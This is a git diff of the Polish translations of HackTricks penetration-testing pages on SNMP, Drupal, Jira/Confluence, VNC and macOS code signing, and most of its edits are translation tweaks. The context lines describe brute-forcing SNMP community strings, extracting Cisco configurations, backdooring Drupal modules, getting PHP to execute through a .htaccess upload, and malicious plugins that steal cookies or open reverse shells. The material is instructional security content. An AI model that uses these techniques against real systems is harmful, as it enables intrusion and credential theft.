* **`SecRequirementCreateWithString`:** Tworzy `SecRequirementRef` z wyrażenia tekstowego wymagania.
|
||||
* **`SecRequirementCopy[Data/String]`**: Pobiera reprezentację danych binarnych `SecRequirementRef`.
|
||||
* **`SecRequirementCreateGroup`**: Tworzy wymaganie dotyczące członkostwa w grupie aplikacji.
|
||||
* **`SecRequirementCopy[Data/String]`**: Pobiera binarną reprezentację danych `SecRequirementRef`.
|
||||
* **`SecRequirementCreateGroup`**: Tworzy wymaganie dla członkostwa w grupie aplikacji.
|
||||
|
||||
#### **Uzyskiwanie informacji o podpisywaniu kodu**
|
||||
|
||||
|
@ -290,7 +290,7 @@ Możliwe jest uzyskanie dostępu do tych informacji oraz tworzenie lub modyfikow
|
|||
|
||||
#### **Walidacja kodu z wymaganiami**
|
||||
|
||||
* **`SecStaticCodeCheckValidity`**: Waliduje statyczny obiekt kodu w odniesieniu do określonych wymagań.
|
||||
* **`SecStaticCodeCheckValidity`**: Waliduje obiekt kodu statycznego w odniesieniu do określonych wymagań.
|
||||
|
||||
#### **Dodatkowe przydatne interfejsy API**
|
||||
|
||||
|
@ -308,11 +308,11 @@ Możliwe jest uzyskanie dostępu do tych informacji oraz tworzenie lub modyfikow
|
|||
|
||||
## Egzekwowanie podpisu kodu
|
||||
|
||||
**Jądro** to to, które **sprawdza podpis kodu** przed zezwoleniem na wykonanie kodu aplikacji. Ponadto, jednym ze sposobów na możliwość zapisu i wykonania nowego kodu w pamięci jest nadużycie JIT, jeśli `mprotect` jest wywoływane z flagą `MAP_JIT`. Należy zauważyć, że aplikacja potrzebuje specjalnego uprawnienia, aby móc to zrobić.
|
||||
**Jądro** to to, które **sprawdza podpis kodu** przed zezwoleniem na wykonanie kodu aplikacji. Co więcej, jednym ze sposobów na możliwość zapisu i wykonania nowego kodu w pamięci jest nadużycie JIT, jeśli `mprotect` jest wywoływane z flagą `MAP_JIT`. Należy zauważyć, że aplikacja potrzebuje specjalnego uprawnienia, aby móc to zrobić.
|
||||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) struktura zawiera informacje o uprawnieniach działającego procesu. `csb_platform_binary` informuje również, czy aplikacja jest binarną platformą (co jest sprawdzane w różnych momentach przez system operacyjny w celu zastosowania mechanizmów zabezpieczeń, takich jak ochrona praw SEND do portów zadań tych procesów).
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) struktura zawiera informacje o uprawnieniach działającego procesu. `csb_platform_binary` informuje również, czy aplikacja jest binarną platformą (co jest sprawdzane w różnych momentach przez system operacyjny w celu zastosowania mechanizmów zabezpieczeń, takich jak ochrona praw SEND do portów zadań tych procesów).
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -34,7 +34,7 @@ SNMP używa również portu **162/UDP** do **pułapek**. Są to dane **pakiety w
|
|||
|
||||
### MIB
|
||||
|
||||
Aby zapewnić, że dostęp do SNMP działa w różnych urządzeniach i z różnymi kombinacjami klient-serwer, stworzono **Management Information Base (MIB)**. MIB to **niezależny format przechowywania informacji o urządzeniach**. MIB to plik **tekstowy**, w którym wszystkie zapytania **obiekty SNMP** urządzenia są wymienione w **standaryzowanej** hierarchii drzewiastej. Zawiera co **najmniej jeden `Object Identifier` (`OID`)**, który, oprócz niezbędnego **unikalnego adresu** i **nazwa**, dostarcza również informacji o typie, prawach dostępu i opisie danego obiektu.\
|
||||
Aby zapewnić, że dostęp do SNMP działa w różnych urządzeniach i z różnymi kombinacjami klient-serwer, stworzono **Management Information Base (MIB)**. MIB to **niezależny format przechowywania informacji o urządzeniach**. MIB to **plik tekstowy**, w którym wszystkie zapytania **obiekty SNMP** urządzenia są wymienione w **standaryzowanej** hierarchii drzewiastej. Zawiera co **najmniej jeden `Object Identifier` (`OID`)**, który, oprócz niezbędnego **unikalnego adresu** i **nazwa**, dostarcza również informacji o typie, prawach dostępu i opisie danego obiektu.\
|
||||
Pliki MIB są napisane w formacie tekstowym ASCII w `Abstract Syntax Notation One` (`ASN.1`). **MIB-y nie zawierają danych**, ale wyjaśniają **gdzie znaleźć jakie informacje** i jak one wyglądają, jakie wartości zwracają dla konkretnego OID, lub jaki typ danych jest używany.
|
||||
|
||||
### OIDs
|
||||
|
@ -48,7 +48,7 @@ Ponadto, dostawcy mają swobodę tworzenia prywatnych gałęzi. W ramach tych ga
|
|||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
Możesz **nawigować** przez **drzewo OID** w sieci tutaj: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) lub **zobaczyć, co oznacza OID** (jak `1.3.6.1.2.1.1`) uzyskując dostęp do [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Istnieją **znane OIDs** jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), które odnoszą się do zmiennych Simple Network Management Protocol (SNMP) zdefiniowanych w MIB-2. A z **OID-ów zależnych od tego** możesz uzyskać interesujące dane o hoście (dane systemowe, dane sieciowe, dane procesów...)
|
||||
Istnieją **znane OIDs**, takie jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), które odnoszą się do zmiennych Simple Network Management Protocol (SNMP) zdefiniowanych w MIB-2. A z **OID-ów zależnych od tego** możesz uzyskać interesujące dane o hoście (dane systemowe, dane sieciowe, dane procesów...)
|
||||
|
||||
### **Przykład OID**
|
||||
|
||||
|
@ -161,11 +161,11 @@ Dwa główne ustawienia umożliwiają dostęp do **pełnego drzewa OID**, które
|
|||
* **`rwcommunity`** dla adresów **IPv4**, oraz
|
||||
* **`rwcommunity6`** dla adresów **IPv6**.
|
||||
|
||||
Obie komendy wymagają **ciągu społeczności** oraz odpowiedniego adresu IP, oferując pełny dostęp niezależnie od pochodzenia żądania.
|
||||
Oba polecenia wymagają **ciągu społeczności** oraz odpowiedniego adresu IP, oferując pełny dostęp niezależnie od pochodzenia żądania.
|
||||
|
||||
### Parametry SNMP dla Microsoft Windows
|
||||
|
||||
Seria **wartości Management Information Base (MIB)** jest wykorzystywana do monitorowania różnych aspektów systemu Windows za pomocą SNMP:
|
||||
Seria **wartości MIB (Management Information Base)** jest wykorzystywana do monitorowania różnych aspektów systemu Windows za pomocą SNMP:
|
||||
|
||||
* **Procesy systemowe**: Dostępne przez `1.3.6.1.2.1.25.1.6.0`, ten parametr pozwala na monitorowanie aktywnych procesów w systemie.
|
||||
* **Działające programy**: Wartość `1.3.6.1.2.1.25.4.2.1.2` jest przeznaczona do śledzenia aktualnie działających programów.
|
||||
|
@ -193,9 +193,9 @@ Jeśli masz **ciąg**, który pozwala na **zapisywanie wartości** w usłudze SN
|
|||
|
||||
## **Masowe SNMP**
|
||||
|
||||
[Braa](https://github.com/mteg/braa) to masowy skaner SNMP. Zamierzonym zastosowaniem takiego narzędzia jest oczywiście wykonywanie zapytań SNMP – ale w przeciwieństwie do snmpwalk z net-snmp, jest w stanie zapytać dziesiątki lub setki hostów jednocześnie, w jednym procesie. Dzięki temu zużywa bardzo mało zasobów systemowych i wykonuje skanowanie BARDZO szybko.
|
||||
[Braa ](https://github.com/mteg/braa) to masowy skaner SNMP. Zamierzonym zastosowaniem tego narzędzia jest, oczywiście, wykonywanie zapytań SNMP – ale w przeciwieństwie do snmpwalk z net-snmp, jest w stanie zapytać dziesiątki lub setki hostów jednocześnie, w jednym procesie. Dzięki temu zużywa bardzo mało zasobów systemowych i skanuje BARDZO szybko.
|
||||
|
||||
Braa implementuje SWÓJ własny stos snmp, więc nie potrzebuje żadnych bibliotek SNMP, takich jak net-snmp.
|
||||
Braa implementuje własny stos SNMP, więc nie potrzebuje żadnych bibliotek SNMP, takich jak net-snmp.
|
||||
|
||||
**Składnia:** braa \[Ciąg społeczności]@\[IP serwera SNMP]:\[iso id]
|
||||
```bash
|
||||
|
@ -211,9 +211,9 @@ Proces zaczyna się od wyodrębnienia **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) z
|
|||
```bash
|
||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Zidentyfikuj Prywatny Ciąg**
|
||||
### **Zidentyfikuj Prywatny String**
|
||||
|
||||
Krytycznym krokiem jest zidentyfikowanie **prywatnego ciągu społeczności** używanego przez organizacje, szczególnie na routerach Cisco IOS. Ciąg ten umożliwia wydobycie **aktualnych konfiguracji** z routerów. Identyfikacja często opiera się na analizie danych SNMP Trap w poszukiwaniu słowa "trap" za pomocą **polecenia grep**:
|
||||
A crucial step involves identifying the **private community string** used by organizations, particularly on Cisco IOS routers. This string enables the extraction of **running configurations** from routers. The identification often relies on analyzing SNMP Trap data for the word "trap" with a **grep command**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
|
@ -223,7 +223,7 @@ Logi przechowywane w tabelach MIB są badane pod kątem **nieudanych prób logow
|
|||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
### **Emails**
|
||||
### **Emaile**
|
||||
|
||||
Na koniec, aby wyodrębnić **adresy e-mail** z danych, używana jest **komenda grep** z wyrażeniem regularnym, koncentrując się na wzorcach, które pasują do formatów e-mail:
|
||||
```bash
|
||||
|
@ -243,7 +243,7 @@ Jeśli istnieje ACL, który pozwala tylko niektórym adresom IP na zapytania do
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_biegła znajomość polskiego w mowie i piśmie wymagana_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -33,7 +33,7 @@ onesixtyone -c communitystrings -i targets
|
|||
|
||||
Framework Metasploit zawiera moduł `cisco_config_tftp`, który ułatwia ekstrakcję konfiguracji urządzeń, w zależności od uzyskania ciągu społeczności RW. Kluczowe parametry dla tej operacji obejmują:
|
||||
|
||||
* RW community string (**COMMUNITY**)
|
||||
* ciąg społeczności RW (**COMMUNITY**)
|
||||
* IP atakującego (**LHOST**)
|
||||
* IP docelowego urządzenia (**RHOSTS**)
|
||||
* Ścieżka docelowa dla plików konfiguracyjnych (**OUTPUTDIR**)
|
||||
|
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -68,7 +68,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -60,7 +60,7 @@ Zapisuję to narzędzie tutaj również dla łatwego dostępu:
|
|||
|
||||
* `port:5900 RFB`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -76,7 +76,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -6,11 +6,11 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -18,10 +18,10 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt=
|
|||
## Z modułem PHP Filter
|
||||
|
||||
{% hint style="warning" %}
|
||||
W starszych wersjach Drupal **(przed wersją 8)**, możliwe było zalogowanie się jako administrator i **włączenie modułu `PHP filter`**, który "Pozwala na ocenę osadzonego kodu/snippetów PHP." Jednak od wersji 8 ten moduł nie jest instalowany domyślnie.
|
||||
W starszych wersjach Drupala **(przed wersją 8)**, możliwe było zalogowanie się jako administrator i **włączenie modułu `PHP filter`**, który "Pozwala na ocenę osadzonego kodu/snippetów PHP." Jednak od wersji 8 ten moduł nie jest instalowany domyślnie.
|
||||
{% endhint %}
|
||||
|
||||
Musisz mieć **zainstalowany plugin php** (sprawdź, wchodząc do _/modules/php_ i jeśli zwraca **403**, to **istnieje**, jeśli **nie znaleziono**, to **plugin php nie jest zainstalowany**)
|
||||
Musisz mieć **zainstalowany plugin php** (sprawdź, uzyskując dostęp do _/modules/php_ i jeśli zwraca **403**, to **istnieje**, jeśli **nie znaleziono**, to **plugin php nie jest zainstalowany**)
|
||||
|
||||
Przejdź do _Modules_ -> (**Sprawdź**) _PHP Filter_ -> _Zapisz konfigurację_
|
||||
|
||||
|
@ -49,13 +49,13 @@ Od wersji **8 wzwyż, moduł** [**PHP Filter**](https://www.drupal.org/project/p
|
|||
3. Kliknij na **`Przeglądaj`**, wybierz plik z katalogu, do którego go pobrano, a następnie kliknij **`Zainstaluj`**.
|
||||
4. Po zainstalowaniu modułu możemy kliknąć na **`Treść`** i **utworzyć nową stronę podstawową**, podobnie jak zrobiliśmy to w przykładzie Drupal 7. Ponownie upewnij się, że **wybrałeś `Kod PHP` z rozwijanego menu `Format tekstu`**.
|
||||
|
||||
## Moduł z tylnym wejściem
|
||||
## Moduł z backdoorem
|
||||
|
||||
{% hint style="warning" %}
|
||||
W aktualnych wersjach nie jest już możliwe instalowanie wtyczek tylko przy dostępie do sieci po domyślnej instalacji.
|
||||
{% endhint %}
|
||||
|
||||
Moduł z tylnym wejściem można stworzyć przez **dodanie powłoki do istniejącego modułu**. Moduły można znaleźć na stronie drupal.org. Wybierzmy moduł taki jak [CAPTCHA](https://www.drupal.org/project/captcha). Przewiń w dół i skopiuj link do archiwum tar.gz [archiwum](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
Moduł z backdoorem można stworzyć przez **dodanie powłoki do istniejącego modułu**. Moduły można znaleźć na stronie drupal.org. Wybierzmy moduł taki jak [CAPTCHA](https://www.drupal.org/project/captcha). Przewiń w dół i skopiuj link do archiwum tar.gz [archiwum](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Pobierz archiwum i wypakuj jego zawartość.
|
||||
```
|
||||
|
@ -97,7 +97,7 @@ Przed aktywacją:
|
|||
|
||||
Po aktywacji:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -166,13 +166,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
...
|
||||
|
||||
```
|
||||
> Nie używam tego w tym wpisie na blogu, ale zauważono, że możliwe jest zdefiniowanie wpisu `file_directory` w dowolny sposób i że jest on podatny na atak typu path traversal (więc możemy wrócić w górę w drzewie systemu plików Drupal).
|
||||
> Nie używam tego w tym wpisie na blogu, ale zauważono, że możliwe jest zdefiniowanie wpisu `file_directory` w dowolny sposób i że jest on podatny na atak typu path traversal (więc możemy cofnąć się w górę w drzewie systemu plików Drupal).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Część 3 (wykorzystanie funkcji _Dodaj dokument_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
Ostatni krok jest najprostszy i dzieli się na dwa podkroki. Pierwszym jest przesłanie pliku w formacie .htaccess, aby wykorzystać dyrektywy Apache i umożliwić interpretację plików .txt przez silnik PHP. Drugim jest przesłanie pliku .txt zawierającego nasz ładunek.
|
||||
Ostatni krok jest najprostszy i dzieli się na dwa podkroki. Pierwszy to przesłanie pliku w formacie .htaccess, aby wykorzystać dyrektywy Apache i umożliwić interpretację plików .txt przez silnik PHP. Drugi to przesłanie pliku .txt zawierającego nasz ładunek.
|
||||
|
||||
Plik: .htaccess
|
||||
```
|
||||
|
@ -275,11 +275,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Sprawdź uprawnienia
|
||||
|
||||
W Jira, **uprawnienia można sprawdzić** przez każdego użytkownika, uwierzytelnionego lub nie, za pomocą punktów końcowych `/rest/api/2/mypermissions` lub `/rest/api/3/mypermissions`. Te punkty końcowe ujawniają aktualne uprawnienia użytkownika. Szczególną troskę budzi sytuacja, gdy **użytkownicy nieautoryzowani mają uprawnienia**, co wskazuje na **lukę w zabezpieczeniach**, która może kwalifikować się do **nagrody**. Podobnie, **nieoczekiwane uprawnienia dla użytkowników uwierzytelnionych** również podkreślają **lukę**.
|
||||
W Jira, **uprawnienia mogą być sprawdzane** przez każdego użytkownika, uwierzytelnionego lub nie, za pośrednictwem punktów końcowych `/rest/api/2/mypermissions` lub `/rest/api/3/mypermissions`. Te punkty końcowe ujawniają aktualne uprawnienia użytkownika. Szczególną obawą jest sytuacja, gdy **użytkownicy nieautoryzowani posiadają uprawnienia**, co wskazuje na **lukę w zabezpieczeniach**, która może kwalifikować się do **nagrody**. Podobnie, **nieoczekiwane uprawnienia dla użytkowników uwierzytelnionych** również podkreślają **lukę**.
|
||||
|
||||
Ważna **aktualizacja** miała miejsce **1 lutego 2019**, wymagając, aby punkt końcowy 'mypermissions' zawierał **parametr 'permission'**. Wymóg ten ma na celu **zwiększenie bezpieczeństwa** poprzez określenie uprawnień, które są sprawdzane: [sprawdź to tutaj](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
|
@ -112,7 +112,7 @@ public BodyType getBodyType() { return BodyType.NONE; }
|
|||
public OutputType getOutputType() { return OutputType.BLOCK; }
|
||||
}
|
||||
```
|
||||
Można zauważyć, że te wtyczki mogą być podatne na powszechne luki w zabezpieczeniach, takie jak XSS. Na przykład poprzedni przykład jest podatny, ponieważ odzwierciedla dane podane przez użytkownika. 
|
||||
Możliwe jest zaobserwowanie, że te wtyczki mogą być podatne na powszechne luki w zabezpieczeniach, takie jak XSS. Na przykład poprzedni przykład jest podatny, ponieważ odzwierciedla dane podane przez użytkownika. 
|
||||
|
||||
Gdy znajdziesz XSS, w [**tej repozytorium github**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) możesz znaleźć kilka ładunków, aby zwiększyć wpływ XSS.
|
||||
|
||||
|
@ -122,14 +122,14 @@ Gdy znajdziesz XSS, w [**tej repozytorium github**](https://github.com/cyllectiv
|
|||
|
||||
Oto niektóre z działań, które mogłaby wykonać złośliwa wtyczka:
|
||||
|
||||
* **Ukrywanie wtyczek przed administratorami**: Możliwe jest ukrycie złośliwej wtyczki poprzez wstrzyknięcie jakiegoś front-endowego javascriptu.
|
||||
* **Ukrywanie wtyczek przed administratorami**: Możliwe jest ukrycie złośliwej wtyczki, wstrzykując jakiś front-end javascript.
|
||||
* **Ekstrakcja załączników i stron**: Umożliwia dostęp i ekstrakcję wszystkich danych.
|
||||
* **Kradzież tokenów sesji**: Dodaj punkt końcowy, który odzwierciedli nagłówki w odpowiedzi (z ciasteczkiem) oraz jakiś javascript, który się z nim skontaktuje i wycieknie ciasteczka.
|
||||
* **Wykonanie polecenia**: Oczywiście możliwe jest stworzenie wtyczki, która wykona kod.
|
||||
* **Reverse Shell**: Lub uzyskanie reverse shell.
|
||||
* **Proxy DOM**: Jeśli confluence znajduje się w prywatnej sieci, możliwe byłoby nawiązanie połączenia przez przeglądarkę jakiegoś użytkownika z dostępem do niej i na przykład skontaktowanie się z serwerem wykonującym polecenia przez to.
|
||||
* **Proxy DOM**: Jeśli confluence znajduje się w prywatnej sieci, możliwe byłoby nawiązanie połączenia przez przeglądarkę jakiegoś użytkownika z dostępem do niej i na przykład skontaktowanie się z serwerem, wykonując polecenia przez to.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -145,7 +145,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
